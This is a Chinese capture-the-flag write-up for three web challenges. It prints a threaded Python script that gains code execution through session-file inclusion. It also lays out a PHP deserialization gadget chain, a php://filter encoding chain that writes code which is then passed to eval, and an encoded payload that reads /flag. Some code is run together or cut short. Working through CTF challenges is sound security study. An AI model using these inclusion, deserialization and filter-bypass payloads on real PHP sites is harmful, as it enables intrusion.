文章目录
- easy_include
- 方法一 session文件包含
- 方法二 pearcmd.php本地文件包含
- easy_web
- easy_login
easy_include
源码
<?phpfunction waf($path){$path = str_replace(".","",$path);return preg_match("/^[a-z]+/",$path);}if(waf($_POST[1])){include "file://".$_POST[1];}
定义waf函数,对参数过滤.
,返回正则匹配是否为小写字母开头,然后文件包含,对POST参数1进行拼接file://
协议
考虑这里拼接的是file
协议所以很多手段都不行,我们有两种思路session文件包含或者利用pearcmd.php
方法一 session文件包含
可参考ctfshow的web82脚本,利用PHP_SESSION_UPLOAD_PROGRESS实现
import requestsimport threadingsession = requests.session()sess = 'yu22x'url1 = "http://7b4f2934-75bb-4b9a-bf2f-4e1d2560b1a8.challenge.ctf.show/"data1 = {'PHP_SESSION_UPLOAD_PROGRESS': ''}data2 = {'2': 'system("cat /f*");','1': 'localhost/tmp/sess_' + sess}file = {'file': 'abc'}cookies = {'PHPSESSID': sess}stop_threads = False# Flag to stop the threadsdef write():while not stop_threads:r = session.post(url1, data=data1, files=file, cookies=cookies)def read():global stop_threads# Access the flag variablewhile not stop_threads:r = session.post(url1, data=data2)if 'ctfshow{' in r.text:print(r.text)stop_threads = True# Set the flag to stop the threadsthreads = [threading.Thread(target=write),threading.Thread(target=read)]for t in threads:t.start()for t in threads:t.join()# Wait for the threads to finish
运行得到flag
方法二 pearcmd.php本地文件包含
原payload
/" /> 得到flag
easy_web
源码
开胃小菜,就让我成为签到题叭 ";if($count!=1){return True;}if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){return True;}else{return false;}}class ctf{public $h1;public $h2;public function __wakeup(){throw new Exception("fastfast");}public function __destruct(){$this->h1->nonono($this->h2);}}class show{public function __call($name,$args){if(preg_match('/ctf/i',$args[0][0][2])){echo "gogogo";}}}class Chu0_write{public $chu0;public $chu1;public $cmd;public function __construct(){$this->chu0 = 'xiuxiuxiu';}public function __toString(){echo "__toString"."
";if ($this->chu0===$this->chu1){$content='ctfshowshowshowwww'.$_GET['chu0'];if (!waf_in_waf_php($_GET['name'])){file_put_contents($_GET['name'].".txt",$content);}else{echo "绕一下吧孩子";}$tmp = file_get_contents('ctfw.txt');echo $tmp."
";if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\|\%/i",$_GET['cmd'])){eval($tmp($_GET['cmd']));}else{echo "waf!";}file_put_contents("ctfw.txt","");}return "Go on";}}if (!$_GET['show_show.show']){echo "开胃小菜,就让我成为签到题叭";highlight_file(__FILE__);}else{echo "WAF,启动!";waf1($_REQUEST);waf2($_SERVER['QUERY_STRING']);if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){unserialize($_GET['show_show.show']);}else{echo "被waf啦";}}
我们逐一分析,先看waf1
function waf1($Chu0){foreach ($Chu0 as $name => $value) {if(preg_match('/[a-z]/i', $value)){exit("waf1");}}}
对参数进行正则匹配,如果匹配到字母则退出并回显waf1
我们看看调用处是waf1($_REQUEST);
,而$_REQUEST
有一个特性,当GET和POST有相同的变量时,匹配POST的变量,那么就可以同时传参GET和POST即可绕过,也就是POST传参数字
然后再来看waf2
function waf2($Chu0){if(preg_match('/show/i', $Chu0))exit("waf2");}
正则匹配字符串show(不区分大小写),如果匹配到则退出返回waf2
调用处是waf2($_SERVER['QUERY_STRING']);
,它用于获取当前请求的查询字符串部分。查询字符串是位于 URL 中 ? 符号之后的部分,包含了以键值对形式传递的参数。所以我们可以url编码绕过即可
继续看waf_in_waf_php
function waf_in_waf_php($a){$count = substr_count($a,'base64');echo "hinthinthint,base64喔"."
";if($count!=1){return True;}if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){return True;}else{return false;}}
对我们的参数值匹配base64出现的次数,只能出现一次,然后对一些关键字进行正则匹配
看向反序列化部分代码,链子很简单
ctf::__destruct() -> show::__call() -> Chu0_write::__toString()
由于我们的头是__destruct()
方法,要绕过wakeup的抛出异常,结合php版本可以用属性个数不一致(当然在后面的C绕过就一起实现了),然后访问不存在的方法调用__call()
方法,接着利用正则匹配去触发__toString()
方法(当时比赛的时候本地一直在测试怎么回显gogogo以为没有触发正则匹配,其实不管回不回显都会触发链子),然后引用绕过if语句即可。
这里先看下最下面反序列化的条件if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show']))
,我们直接C绕过即可
exp如下
h1=$b;$a->h2=[['','',$c]];$c->chu0=&$c->chu1;$A=new SplStack();$A->push($a);echo serialize($A);
最后来分析如何rce
$content='ctfshowshowshowwww'.$_GET['chu0'];if (!waf_in_waf_php($_GET['name'])){file_put_contents($_GET['name'].".txt",$content);}else{echo "绕一下吧孩子";}$tmp = file_get_contents('ctfw.txt');echo $tmp."
";if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\|\%/i",$_GET['cmd'])){eval($tmp($_GET['cmd']));}else{echo "waf!";}file_put_contents("ctfw.txt","");
我们可以看到eval($tmp($_GET['cmd']));
是可以RCE的
先看$tmp
的值是从ctfw.txt中读取的内容,而内容对应$content
是可控的,但是我们注意到GET参数chu0是会与ctfshowshowshowwww字符串进行拼接导致无法RCE。按照waf_in_waf_php对name的值进行waf以及waf_in_waf_php中的hint是base64,并且结合file_put_contents()
函数是可以用过滤器的,那么我们可以尝试构造
file_put_contents('php://filter/write=...|convert.base64-decode/resource=ctfw.txt',$content);
参考文章 去除垃圾字符
简单点讲,就是我们先对我们的chu0的值进行加密也就是标记,然后拼接在一起后进行过滤器解析,利用最后的base64-decode无法解析前面ctfshowshowshowwww的垃圾字符被去除掉,而我们的chu0的值则会被正确解析并保留
给个例子
测试数据:testbase64编码:dGVzdA==加上\0(等号也要转换):=00d=00G=00V=00z=00d=00A=00=3D=00=3D上传后:垃圾数据=00d=00G=00V=00z=00d=00A=00=3D=00=3D垃圾数据解码:垃圾数据\0d \0G \0V \0z \0d \0A \0= \0=垃圾数据UCS-2转UTF-8:乱码dGVzdA==乱码base64解码:test
由于本题过滤了UCS-2,我们换成UTF-16le,脚本如下
<?php$a='assert';//获取二进制数据$a=iconv('utf-8','UTF-16le',base64_encode($a));//UCS-2编码$a=quoted_printable_encode($a);//quoted_printable编码echo $a;//=00c=003=00l=00z=00d=00G=00V=00t
所以payload
name=php://filter/read=convert.quoted-printable-decode|convert.iconv.UTF-16le.UTF-8/convert.base64-decode/resource=ctfw&chu0=Y=00X=00N=00z=00Z=00X=00J=000=00
然后就是绕过对cmd的正则
直接show_source结合chr()读取/flag
cmd=%73%68%6F%77_source(chr(47).chr(102).chr(108).chr(97).chr(103));
easy_login
ctfshow红包挑战9原题
参考文章